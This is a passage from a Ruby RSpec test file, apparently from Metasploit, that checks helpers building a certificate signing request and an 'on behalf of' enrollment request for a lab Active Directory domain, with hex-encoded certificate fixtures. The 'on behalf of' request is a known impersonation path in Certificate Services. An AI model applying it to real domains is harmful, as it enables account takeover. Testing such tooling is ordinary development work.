BCbk+gdzoEM3K2fAGxIVarYWWWaTuxLqNn4gHvB0HecCAwEAAaAAMA0GCSqGSIb3
|
||||
DQEBCwUAA4IBAQAyU7goEqpmHfulRkaMAtna+7mpVdUsuGXidsP2AFyDmiBOUtR/
|
||||
gQoXeTwWQ62vKSmD0+gSnxDbokq4T8hif/cR8WZ1jZQXE0JR9FPI/qGs/6D5e56S
|
||||
b7W3buC6UuON58pJmtrX7PtNUGg0FOn6jGB1jwEHtc+4sel24j7VMfzt3nuY/KTD
|
||||
abGLQioi9iaVEbJ6pKmBaHGcEswFiqGBGWI1zrSVIYyNy67SK3/P3RWyHHNJeS2a
|
||||
x7RMqHkWOXXjxqbM68i6tCL+2NstTzXI6mQkXWkOXU8d39wn/MqLyPdY0ZM7Lv/y
|
||||
i506vK8iofDDYoHxz8YwaPU1DOCfu+T83nPg
|
||||
-----END CERTIFICATE REQUEST-----
|
||||
REQUEST
|
||||
end
|
||||
|
||||
let(:content_info) do
|
||||
Rex::Proto::CryptoAsn1::Cms::ContentInfo.parse(
|
||||
"\x30\x82\x0b\x71\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x07\x02\xa0\x82\x0b" \
|
||||
"\x62\x30\x82\x0b\x5e\x02\x01\x03\x31\x0d\x30\x0b\x06\x09\x60\x86\x48\x01" \
|
||||
"\x65\x03\x04\x02\x01\x30\x82\x02\x6c\x06\x07\x2b\x06\x01\x05\x02\x03\x01" \
|
||||
"\xa0\x82\x02\x5f\x04\x82\x02\x5b\x30\x82\x02\x57\x30\x82\x01\x3f\x02\x01" \
|
||||
"\x00\x30\x12\x31\x10\x30\x0e\x06\x03\x55\x04\x03\x0c\x07\x61\x6c\x69\x64" \
|
||||
"\x64\x6c\x65\x30\x82\x01\x22\x30\x0d\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01" \
|
||||
"\x01\x01\x05\x00\x03\x82\x01\x0f\x00\x30\x82\x01\x0a\x02\x82\x01\x01\x00" \
|
||||
"\xe3\x3d\x21\x6b\x75\xeb\xcf\x62\xc3\x19\x32\xe7\x80\xc2\xb4\xaa\xa7\x26" \
|
||||
"\x1b\x2c\x69\x6f\x5d\x10\x3d\x8f\x6c\x7b\x0f\xf8\x14\x55\x92\x3b\x3b\x4d" \
|
||||
"\x63\xe8\x2a\x4c\x59\x9d\xef\x6f\x19\x2d\x2f\xfe\xbd\x63\x75\x51\x23\x65" \
|
||||
"\x86\xbb\xfb\xcb\x69\xa2\x09\xb6\x6b\x5d\x8f\x22\x52\x30\x22\xd9\x79\xb7" \
|
||||
"\xe0\xe8\xaa\x6f\x3b\x53\xbb\x53\x98\x00\x29\x8c\x32\x93\x4f\xaf\x6f\xc2" \
|
||||
"\x8d\xca\x95\x33\x61\x3f\xdb\xfb\x22\x1c\xae\x6c\xa2\x16\x39\xf8\x23\x0c" \
|
||||
"\x14\xd8\x10\xe4\xf9\xd5\x8b\xac\x9d\x6b\x6e\x0d\x25\x97\x51\x8e\xeb\x0a" \
|
||||
"\x29\xd4\x0c\xcc\x7b\x48\x1b\xef\x23\x27\x47\x82\xf8\xab\x41\x36\x4d\xa7" \
|
||||
"\x7c\x84\x09\x0b\xea\xb8\x66\xc0\x96\x60\x6e\xa9\xf5\x03\x87\xb2\xcb\xee" \
|
||||
"\x17\x05\xe2\x20\xdf\xa4\x83\x8c\x86\x41\x77\x7e\x02\x13\xba\xa0\xb7\xfb" \
|
||||
"\xdf\xe2\x67\xe9\x78\xab\x77\x54\x99\x84\x22\xd8\x67\x5f\x90\x04\x33\xce" \
|
||||
"\x74\x7c\xde\xa7\x6f\x05\x60\x25\x8b\x73\xce\x96\x3a\x2c\x41\xa8\x53\x73" \
|
||||
"\x71\x89\xd4\x61\x07\x31\xbb\x8b\x04\x26\xe4\xfa\x07\x73\xa0\x43\x37\x2b" \
|
||||
"\x67\xc0\x1b\x12\x15\x6a\xb6\x16\x59\x66\x93\xbb\x12\xea\x36\x7e\x20\x1e" \
|
||||
"\xf0\x74\x1d\xe7\x02\x03\x01\x00\x01\xa0\x00\x30\x0d\x06\x09\x2a\x86\x48" \
|
||||
"\x86\xf7\x0d\x01\x01\x0b\x05\x00\x03\x82\x01\x01\x00\x32\x53\xb8\x28\x12" \
|
||||
"\xaa\x66\x1d\xfb\xa5\x46\x46\x8c\x02\xd9\xda\xfb\xb9\xa9\x55\xd5\x2c\xb8" \
|
||||
"\x65\xe2\x76\xc3\xf6\x00\x5c\x83\x9a\x20\x4e\x52\xd4\x7f\x81\x0a\x17\x79" \
|
||||
"\x3c\x16\x43\xad\xaf\x29\x29\x83\xd3\xe8\x12\x9f\x10\xdb\xa2\x4a\xb8\x4f" \
|
||||
"\xc8\x62\x7f\xf7\x11\xf1\x66\x75\x8d\x94\x17\x13\x42\x51\xf4\x53\xc8\xfe" \
|
||||
"\xa1\xac\xff\xa0\xf9\x7b\x9e\x92\x6f\xb5\xb7\x6e\xe0\xba\x52\xe3\x8d\xe7" \
|
||||
"\xca\x49\x9a\xda\xd7\xec\xfb\x4d\x50\x68\x34\x14\xe9\xfa\x8c\x60\x75\x8f" \
|
||||
"\x01\x07\xb5\xcf\xb8\xb1\xe9\x76\xe2\x3e\xd5\x31\xfc\xed\xde\x7b\x98\xfc" \
|
||||
"\xa4\xc3\x69\xb1\x8b\x42\x2a\x22\xf6\x26\x95\x11\xb2\x7a\xa4\xa9\x81\x68" \
|
||||
"\x71\x9c\x12\xcc\x05\x8a\xa1\x81\x19\x62\x35\xce\xb4\x95\x21\x8c\x8d\xcb" \
|
||||
"\xae\xd2\x2b\x7f\xcf\xdd\x15\xb2\x1c\x73\x49\x79\x2d\x9a\xc7\xb4\x4c\xa8" \
|
||||
"\x79\x16\x39\x75\xe3\xc6\xa6\xcc\xeb\xc8\xba\xb4\x22\xfe\xd8\xdb\x2d\x4f" \
|
||||
"\x35\xc8\xea\x64\x24\x5d\x69\x0e\x5d\x4f\x1d\xdf\xdc\x27\xfc\xca\x8b\xc8" \
|
||||
"\xf7\x58\xd1\x93\x3b\x2e\xff\xf2\x8b\x9d\x3a\xbc\xaf\x22\xa1\xf0\xc3\x62" \
|
||||
"\x81\xf1\xcf\xc6\x30\x68\xf5\x35\x0c\xe0\x9f\xbb\xe4\xfc\xde\x73\xe0\xa0" \
|
||||
"\x82\x06\xcc\x30\x82\x06\xc8\x30\x82\x05\xb0\xa0\x03\x02\x01\x02\x02\x13" \
|
||||
"\x10\x00\x00\x00\x43\x92\xab\x33\x25\xbd\xb1\xc3\x32\x00\x00\x00\x00\x00" \
|
||||
"\x43\x30\x0d\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x01\x0b\x05\x00\x30\x46" \
|
||||
"\x31\x15\x30\x13\x06\x0a\x09\x92\x26\x89\x93\xf2\x2c\x64\x01\x19\x16\x05" \
|
||||
"\x6c\x6f\x63\x61\x6c\x31\x16\x30\x14\x06\x0a\x09\x92\x26\x89\x93\xf2\x2c" \
|
||||
"\x64\x01\x19\x16\x06\x6d\x73\x66\x6c\x61\x62\x31\x15\x30\x13\x06\x03\x55" \
|
||||
"\x04\x03\x13\x0c\x6d\x73\x66\x6c\x61\x62\x2d\x44\x43\x2d\x43\x41\x30\x1e" \
|
||||
"\x17\x0d\x32\x32\x31\x31\x30\x32\x32\x31\x32\x38\x34\x36\x5a\x17\x0d\x32" \
|
||||
"\x33\x31\x31\x30\x32\x32\x31\x32\x38\x34\x36\x5a\x30\x7b\x31\x15\x30\x13" \
|
||||
"\x06\x0a\x09\x92\x26\x89\x93\xf2\x2c\x64\x01\x19\x16\x05\x6c\x6f\x63\x61" \
|
||||
"\x6c\x31\x16\x30\x14\x06\x0a\x09\x92\x26\x89\x93\xf2\x2c\x64\x01\x19\x16" \
|
||||
"\x06\x6d\x73\x66\x6c\x61\x62\x31\x0e\x30\x0c\x06\x03\x55\x04\x03\x13\x05" \
|
||||
"\x55\x73\x65\x72\x73\x31\x15\x30\x13\x06\x03\x55\x04\x03\x13\x0c\x41\x6c" \
|
||||
"\x69\x63\x65\x20\x4c\x69\x64\x64\x6c\x65\x31\x23\x30\x21\x06\x09\x2a\x86" \
|
||||
"\x48\x86\xf7\x0d\x01\x09\x01\x16\x14\x61\x6c\x69\x64\x64\x6c\x65\x40\x6d" \
|
||||
"\x73\x66\x6c\x61\x62\x2e\x6c\x6f\x63\x61\x6c\x30\x82\x01\x22\x30\x0d\x06" \
|
||||
"\x09\x2a\x86\x48\x86\xf7\x0d\x01\x01\x01\x05\x00\x03\x82\x01\x0f\x00\x30" \
|
||||
"\x82\x01\x0a\x02\x82\x01\x01\x00\xe3\x3d\x21\x6b\x75\xeb\xcf\x62\xc3\x19" \
|
||||
"\x32\xe7\x80\xc2\xb4\xaa\xa7\x26\x1b\x2c\x69\x6f\x5d\x10\x3d\x8f\x6c\x7b" \
|
||||
"\x0f\xf8\x14\x55\x92\x3b\x3b\x4d\x63\xe8\x2a\x4c\x59\x9d\xef\x6f\x19\x2d" \
|
||||
"\x2f\xfe\xbd\x63\x75\x51\x23\x65\x86\xbb\xfb\xcb\x69\xa2\x09\xb6\x6b\x5d" \
|
||||
"\x8f\x22\x52\x30\x22\xd9\x79\xb7\xe0\xe8\xaa\x6f\x3b\x53\xbb\x53\x98\x00" \
|
||||
"\x29\x8c\x32\x93\x4f\xaf\x6f\xc2\x8d\xca\x95\x33\x61\x3f\xdb\xfb\x22\x1c" \
|
||||
"\xae\x6c\xa2\x16\x39\xf8\x23\x0c\x14\xd8\x10\xe4\xf9\xd5\x8b\xac\x9d\x6b" \
|
||||
"\x6e\x0d\x25\x97\x51\x8e\xeb\x0a\x29\xd4\x0c\xcc\x7b\x48\x1b\xef\x23\x27" \
|
||||
"\x47\x82\xf8\xab\x41\x36\x4d\xa7\x7c\x84\x09\x0b\xea\xb8\x66\xc0\x96\x60" \
|
||||
"\x6e\xa9\xf5\x03\x87\xb2\xcb\xee\x17\x05\xe2\x20\xdf\xa4\x83\x8c\x86\x41" \
|
||||
"\x77\x7e\x02\x13\xba\xa0\xb7\xfb\xdf\xe2\x67\xe9\x78\xab\x77\x54\x99\x84" \
|
||||
"\x22\xd8\x67\x5f\x90\x04\x33\xce\x74\x7c\xde\xa7\x6f\x05\x60\x25\x8b\x73" \
|
||||
"\xce\x96\x3a\x2c\x41\xa8\x53\x73\x71\x89\xd4\x61\x07\x31\xbb\x8b\x04\x26" \
|
||||
"\xe4\xfa\x07\x73\xa0\x43\x37\x2b\x67\xc0\x1b\x12\x15\x6a\xb6\x16\x59\x66" \
|
||||
"\x93\xbb\x12\xea\x36\x7e\x20\x1e\xf0\x74\x1d\xe7\x02\x03\x01\x00\x01\xa3" \
|
||||
"\x82\x03\x78\x30\x82\x03\x74\x30\x1d\x06\x03\x55\x1d\x0e\x04\x16\x04\x14" \
|
||||
"\x73\x77\x4b\xc5\xe3\x2e\x39\xba\x18\xec\xc7\x2b\x69\xd9\x1c\xce\x9d\x3b" \
|
||||
"\x84\x2a\x30\x1f\x06\x03\x55\x1d\x23\x04\x18\x30\x16\x80\x14\xb9\x92\x66" \
|
||||
"\xb2\x68\xbb\x9b\x46\xd8\x41\x5d\xcb\x16\xb6\xba\x38\xb2\xb1\x78\xd0\x30" \
|
||||
"\x81\xc6\x06\x03\x55\x1d\x1f\x04\x81\xbe\x30\x81\xbb\x30\x81\xb8\xa0\x81" \
|
||||
"\xb5\xa0\x81\xb2\x86\x81\xaf\x6c\x64\x61\x70\x3a\x2f\x2f\x2f\x43\x4e\x3d" \
|
||||
"\x6d\x73\x66\x6c\x61\x62\x2d\x44\x43\x2d\x43\x41\x2c\x43\x4e\x3d\x44\x43" \
|
||||
"\x2c\x43\x4e\x3d\x43\x44\x50\x2c\x43\x4e\x3d\x50\x75\x62\x6c\x69\x63\x25" \
|
||||
"\x32\x30\x4b\x65\x79\x25\x32\x30\x53\x65\x72\x76\x69\x63\x65\x73\x2c\x43" \
|
||||
"\x4e\x3d\x53\x65\x72\x76\x69\x63\x65\x73\x2c\x43\x4e\x3d\x43\x6f\x6e\x66" \
|
||||
"\x69\x67\x75\x72\x61\x74\x69\x6f\x6e\x2c\x44\x43\x3d\x6d\x73\x66\x6c\x61" \
|
||||
"\x62\x2c\x44\x43\x3d\x6c\x6f\x63\x61\x6c\x3f\x63\x65\x72\x74\x69\x66\x69" \
|
||||
"\x63\x61\x74\x65\x52\x65\x76\x6f\x63\x61\x74\x69\x6f\x6e\x4c\x69\x73\x74" \
|
||||
"\x3f\x62\x61\x73\x65\x3f\x6f\x62\x6a\x65\x63\x74\x43\x6c\x61\x73\x73\x3d" \
|
||||
"\x63\x52\x4c\x44\x69\x73\x74\x72\x69\x62\x75\x74\x69\x6f\x6e\x50\x6f\x69" \
|
||||
"\x6e\x74\x30\x81\xbf\x06\x08\x2b\x06\x01\x05\x05\x07\x01\x01\x04\x81\xb2" \
|
||||
"\x30\x81\xaf\x30\x81\xac\x06\x08\x2b\x06\x01\x05\x05\x07\x30\x02\x86\x81" \
|
||||
"\x9f\x6c\x64\x61\x70\x3a\x2f\x2f\x2f\x43\x4e\x3d\x6d\x73\x66\x6c\x61\x62" \
|
||||
"\x2d\x44\x43\x2d\x43\x41\x2c\x43\x4e\x3d\x41\x49\x41\x2c\x43\x4e\x3d\x50" \
|
||||
"\x75\x62\x6c\x69\x63\x25\x32\x30\x4b\x65\x79\x25\x32\x30\x53\x65\x72\x76" \
|
||||
"\x69\x63\x65\x73\x2c\x43\x4e\x3d\x53\x65\x72\x76\x69\x63\x65\x73\x2c\x43" \
|
||||
"\x4e\x3d\x43\x6f\x6e\x66\x69\x67\x75\x72\x61\x74\x69\x6f\x6e\x2c\x44\x43" \
|
||||
"\x3d\x6d\x73\x66\x6c\x61\x62\x2c\x44\x43\x3d\x6c\x6f\x63\x61\x6c\x3f\x63" \
|
||||
"\x41\x43\x65\x72\x74\x69\x66\x69\x63\x61\x74\x65\x3f\x62\x61\x73\x65\x3f" \
|
||||
"\x6f\x62\x6a\x65\x63\x74\x43\x6c\x61\x73\x73\x3d\x63\x65\x72\x74\x69\x66" \
|
||||
"\x69\x63\x61\x74\x69\x6f\x6e\x41\x75\x74\x68\x6f\x72\x69\x74\x79\x30\x0e" \
|
||||
"\x06\x03\x55\x1d\x0f\x01\x01\xff\x04\x04\x03\x02\x05\xa0\x30\x3d\x06\x09" \
|
||||
"\x2b\x06\x01\x04\x01\x82\x37\x15\x07\x04\x30\x30\x2e\x06\x26\x2b\x06\x01" \
|
||||
"\x04\x01\x82\x37\x15\x08\x81\xf8\xd8\x15\x86\xcf\xbe\x0a\x82\xf5\x9d\x2c" \
|
||||
"\x81\x9c\xd5\x54\x82\xeb\x94\x4c\x17\x85\xe8\xbe\x77\x86\xdf\xdd\x7e\x02" \
|
||||
"\x01\x64\x02\x01\x04\x30\x35\x06\x03\x55\x1d\x25\x04\x2e\x30\x2c\x06\x08" \
|
||||
"\x2b\x06\x01\x05\x05\x07\x03\x04\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x0a" \
|
||||
"\x03\x04\x06\x08\x2b\x06\x01\x05\x05\x07\x03\x02\x06\x0a\x2b\x06\x01\x04" \
|
||||
"\x01\x82\x37\x14\x02\x01\x30\x43\x06\x09\x2b\x06\x01\x04\x01\x82\x37\x15" \
|
||||
"\x0a\x04\x36\x30\x34\x30\x0a\x06\x08\x2b\x06\x01\x05\x05\x07\x03\x04\x30" \
|
||||
"\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x0a\x03\x04\x30\x0a\x06\x08\x2b" \
|
||||
"\x06\x01\x05\x05\x07\x03\x02\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37" \
|
||||
"\x14\x02\x01\x30\x45\x06\x03\x55\x1d\x11\x04\x3e\x30\x3c\xa0\x24\x06\x0a" \
|
||||
"\x2b\x06\x01\x04\x01\x82\x37\x14\x02\x03\xa0\x16\x0c\x14\x61\x6c\x69\x64" \
|
||||
"\x64\x6c\x65\x40\x6d\x73\x66\x6c\x61\x62\x2e\x6c\x6f\x63\x61\x6c\x81\x14" \
|
||||
"\x61\x6c\x69\x64\x64\x6c\x65\x40\x6d\x73\x66\x6c\x61\x62\x2e\x6c\x6f\x63" \
|
||||
"\x61\x6c\x30\x4f\x06\x09\x2b\x06\x01\x04\x01\x82\x37\x19\x02\x04\x42\x30" \
|
||||
"\x40\xa0\x3e\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x19\x02\x01\xa0\x30\x04" \
|
||||
"\x2e\x53\x2d\x31\x2d\x35\x2d\x32\x31\x2d\x33\x34\x30\x32\x35\x38\x37\x32" \
|
||||
"\x38\x39\x2d\x31\x34\x38\x38\x37\x39\x38\x35\x33\x32\x2d\x33\x36\x31\x38" \
|
||||
"\x32\x39\x36\x39\x39\x33\x2d\x31\x31\x30\x36\x30\x44\x06\x09\x2a\x86\x48" \
|
||||
"\x86\xf7\x0d\x01\x09\x0f\x04\x37\x30\x35\x30\x0e\x06\x08\x2a\x86\x48\x86" \
|
||||
"\xf7\x0d\x03\x02\x02\x02\x00\x80\x30\x0e\x06\x08\x2a\x86\x48\x86\xf7\x0d" \
|
||||
"\x03\x04\x02\x02\x00\x80\x30\x07\x06\x05\x2b\x0e\x03\x02\x07\x30\x0a\x06" \
|
||||
"\x08\x2a\x86\x48\x86\xf7\x0d\x03\x07\x30\x0d\x06\x09\x2a\x86\x48\x86\xf7" \
|
||||
"\x0d\x01\x01\x0b\x05\x00\x03\x82\x01\x01\x00\x89\xb2\xb3\xb1\xd8\x61\x9e" \
|
||||
"\x45\x70\x58\x58\x23\x24\x43\x6c\x4f\x0a\x77\x48\x5c\x2b\xc0\xa3\xf5\x78" \
|
||||
"\x37\x7c\x58\xb1\x6c\xd8\xa8\xa3\x2f\x5b\x8e\xb9\x4d\x3b\x4a\xcd\xab\x8a" \
|
||||
"\x3b\x0e\x8a\xd8\x52\x6b\xfa\xe2\x29\xad\x22\x8d\x58\x0f\x98\x05\x61\x54" \
|
||||
"\xc3\xd9\xb0\x9c\x63\x8a\xb3\x6d\x4b\x25\x0e\x91\x20\xbe\x84\x0c\xa4\xb7" \
|
||||
"\x51\xd1\xe8\xdc\x08\xe9\xfe\x64\xf1\x86\x5a\xe8\x23\x6a\x14\xb8\xf1\x16" \
|
||||
"\x09\x27\x0d\xdc\x74\xd1\x28\x48\x90\xc5\x7f\x97\x3d\xee\x80\x34\x08\x65" \
|
||||
"\x1c\xb0\x41\xac\x4f\x99\x9e\x7d\xed\x5e\xff\xd8\x95\x71\xc4\x4a\x94\x41" \
|
||||
"\x39\xe5\x6d\x0e\x29\x7c\xb5\x3b\xc4\x11\x8f\x17\xf8\xf9\x8b\x6e\xf1\xd8" \
|
||||
"\x99\x37\xc2\x75\x0d\xc8\xcf\x01\xba\xbe\x30\x1c\xba\xac\xac\xe2\x7f\x5c" \
|
||||
"\x5a\xa7\x8d\x60\xb2\x0e\x60\x6a\x6e\x0f\x50\x47\x9e\xab\xc1\xfd\xea\xc2" \
|
||||
"\x63\xfd\xbc\xf5\x59\x5f\x61\x73\x2e\x6c\x30\x54\x1e\x92\xc1\x4f\x04\xb8" \
|
||||
"\xbf\xe8\x5d\x58\x1c\x96\x97\x21\x68\xdd\x32\xc2\x35\x88\xb4\x39\xa6\x7f" \
|
||||
"\xbc\x8d\x67\x9a\x21\x2a\x50\xa6\xcf\x4b\xbd\x0c\xe7\x81\x3e\xa0\x30\xda" \
|
||||
"\x22\xbc\x10\x30\xfa\x8b\x97\xf0\xf8\x3a\x92\xa9\x70\xac\xfc\x31\x82\x02" \
|
||||
"\x08\x30\x82\x02\x04\x02\x01\x01\x30\x5d\x30\x46\x31\x15\x30\x13\x06\x0a" \
|
||||
"\x09\x92\x26\x89\x93\xf2\x2c\x64\x01\x19\x16\x05\x6c\x6f\x63\x61\x6c\x31" \
|
||||
"\x16\x30\x14\x06\x0a\x09\x92\x26\x89\x93\xf2\x2c\x64\x01\x19\x16\x06\x6d" \
|
||||
"\x73\x66\x6c\x61\x62\x31\x15\x30\x13\x06\x03\x55\x04\x03\x13\x0c\x6d\x73" \
|
||||
"\x66\x6c\x61\x62\x2d\x44\x43\x2d\x43\x41\x02\x13\x10\x00\x00\x00\x43\x92" \
|
||||
"\xab\x33\x25\xbd\xb1\xc3\x32\x00\x00\x00\x00\x00\x43\x30\x0b\x06\x09\x60" \
|
||||
"\x86\x48\x01\x65\x03\x04\x02\x01\xa0\x81\x81\x30\x4e\x06\x0a\x2b\x06\x01" \
|
||||
"\x04\x01\x82\x37\x0d\x02\x01\x31\x40\x30\x3e\x1e\x1a\x00\x72\x00\x65\x00" \
|
||||
"\x71\x00\x75\x00\x65\x00\x73\x00\x74\x00\x65\x00\x72\x00\x6e\x00\x61\x00" \
|
||||
"\x6d\x00\x65\x1e\x20\x00\x4d\x00\x53\x00\x46\x00\x4c\x00\x41\x00\x42\x00" \
|
||||
"\x5c\x00\x73\x00\x6d\x00\x63\x00\x69\x00\x6e\x00\x74\x00\x79\x00\x72\x00" \
|
||||
"\x65\x30\x2f\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x09\x04\x31\x22\x04\x20" \
|
||||
"\x3f\x40\x73\xc1\x9c\x54\xeb\xbd\x4d\x4f\xab\x27\xfb\x8b\x65\x1a\x2c\x51" \
|
||||
"\x24\xf9\x97\x05\x91\x04\xaa\xf7\xbc\x6d\xfd\x07\x4d\x70\x30\x0b\x06\x09" \
|
||||
"\x2a\x86\x48\x86\xf7\x0d\x01\x01\x0b\x04\x82\x01\x00\x78\x74\xf7\xee\xef" \
|
||||
"\x89\x2f\x02\x77\xb9\xde\x87\x07\x3a\x58\x1d\x2d\xc0\xb0\x55\x33\x40\xf1" \
|
||||
"\x6f\xb6\x28\xd6\x44\xf1\xfa\x4f\xf6\x99\xe1\xdc\xb2\x2e\x49\x5b\x36\xa7" \
|
||||
"\xee\x6f\x82\x67\x27\x43\xd5\x99\x57\xc2\x83\x09\x29\xd2\xb3\x86\x9e\x6f" \
|
||||
"\x75\x78\xdb\xe3\xeb\x33\x65\xce\x7c\xd4\x8f\x65\x73\xa7\x82\xe4\x5e\x50" \
|
||||
"\xd3\xe8\x76\xd2\x43\x96\xeb\xe5\x3a\xd1\x03\x2e\xa0\x61\xd7\xf2\x6b\x9e" \
|
||||
"\x0b\x24\x11\x2a\x25\x4d\x68\x5e\x86\x9c\x9b\xe4\xaa\x6c\x5c\x5c\xfe\x54" \
|
||||
"\x26\x85\xd8\xcc\x0f\xdd\x69\x0f\xf6\xc3\x0b\x7c\xca\x23\xeb\x99\x8c\xc1" \
|
||||
"\x69\x80\x69\xd2\x14\x1b\x1b\x99\xde\x25\x59\x12\x8d\xb4\xc0\x01\x56\x32" \
|
||||
"\x91\x76\x8f\x8b\xd4\x29\x2f\x74\x3e\xca\xe0\xd1\xe8\x68\xde\x9d\x1e\x15" \
|
||||
"\xd9\x07\x41\x82\x14\x2a\xe9\x5c\x03\x81\x80\x04\xf1\x5b\xa5\xea\x21\x72" \
|
||||
"\x9d\x98\xa0\x23\x46\x25\xb7\x68\x7d\xc2\x58\x80\xfb\x1c\xbb\x76\xba\x76" \
|
||||
"\x3a\xba\x1c\xd8\x0f\xbf\x21\x36\xce\x03\x94\x8c\x13\xbd\xc7\x87\x42\x06" \
|
||||
"\x1c\x2b\xc8\x53\xd1\xa7\xba\xea\xfa\xbc\xba\x8e\xd8\x6f\x1c\x34\x28\x8b" \
|
||||
"\x87\x0d\xbf\x30\x87\xc1\x6e\xcc\x15\xb5\xd7\x2d\xe4\xe6\xa6\xaa\xe6"
|
||||
)
|
||||
end
|
||||
|
||||
before(:each) do
|
||||
subject.datastore['VERBOSE'] = false
|
||||
allow(driver).to receive(:input).and_return(driver_input)
|
||||
allow(driver).to receive(:output).and_return(driver_output)
|
||||
subject.init_ui(driver_input, driver_output)
|
||||
end
|
||||
|
||||
describe '#build_csr' do
|
||||
let(:result) do
|
||||
subject.send(:build_csr,
|
||||
cn: 'aliddle',
|
||||
private_key: pkcs12_key
|
||||
)
|
||||
end
|
||||
|
||||
context 'when building' do
|
||||
it 'return a Request object' do
|
||||
expect(result).to be_a(OpenSSL::X509::Request)
|
||||
end
|
||||
|
||||
it 'should respond to #to_der' do
|
||||
expect(result).to respond_to(:to_der)
|
||||
end
|
||||
|
||||
it 'should be correct' do
|
||||
expect(result.to_der).to eq(x509_csr.to_der)
|
||||
end
|
||||
end
|
||||
|
||||
context 'when passed a bad algorithm' do
|
||||
it 'raises a RuntimeError if the algorithm does not exist' do
|
||||
expect {
|
||||
subject.send(:build_csr,
|
||||
cn: 'aliddle',
|
||||
private_key: pkcs12_key,
|
||||
algorithm: 'METASPLOIT'
|
||||
)
|
||||
}.to raise_error(RuntimeError)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe '#build_on_behalf_of' do
|
||||
context 'when building' do
|
||||
let(:result) do
|
||||
subject.send(:build_on_behalf_of,
|
||||
csr: x509_csr,
|
||||
on_behalf_of: 'MSFLAB\\smcintyre',
|
||||
cert: pkcs12_certificate,
|
||||
key: pkcs12_key
|
||||
)
|
||||
end
|
||||
|
||||
it 'return a ContentInfo object' do
|
||||
expect(result).to be_a(Rex::Proto::CryptoAsn1::Cms::ContentInfo)
|
||||
end
|
||||
|
||||
it 'should respond to #to_der' do
|
||||
expect(result).to respond_to(:to_der)
|
||||
end
|
||||
|
||||
it 'should be correct' do
|
||||
expect(result.to_der).to eq(content_info.to_der)
|
||||
end
|
||||
end
|
||||
|
||||
context 'when passed a bad algorithm' do
|
||||
it 'raises an ArgumentError if the algorithm exists but can not be mapped to an OID' do
|
||||
expect {
|
||||
subject.send(:build_on_behalf_of,
|
||||
csr: x509_csr,
|
||||
on_behalf_of: 'MSFLAB\\smcintyre',
|
||||
cert: pkcs12_certificate,
|
||||
key: pkcs12_key,
|
||||
algorithm: 'MD4'
|
||||
)
|
||||
}.to raise_error(ArgumentError)
|
||||
end
|
||||
|
||||
it 'raises a RuntimeError if the algorithm does not exist' do
|
||||
expect {
|
||||
subject.send(:build_on_behalf_of,
|
||||
csr: x509_csr,
|
||||
on_behalf_of: 'MSFLAB\\smcintyre',
|
||||
cert: pkcs12_certificate,
|
||||
key: pkcs12_key,
|
||||
algorithm: 'METASPLOIT'
|
||||
)
|
||||
}.to raise_error(RuntimeError)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
Reference in New Issue
Block a user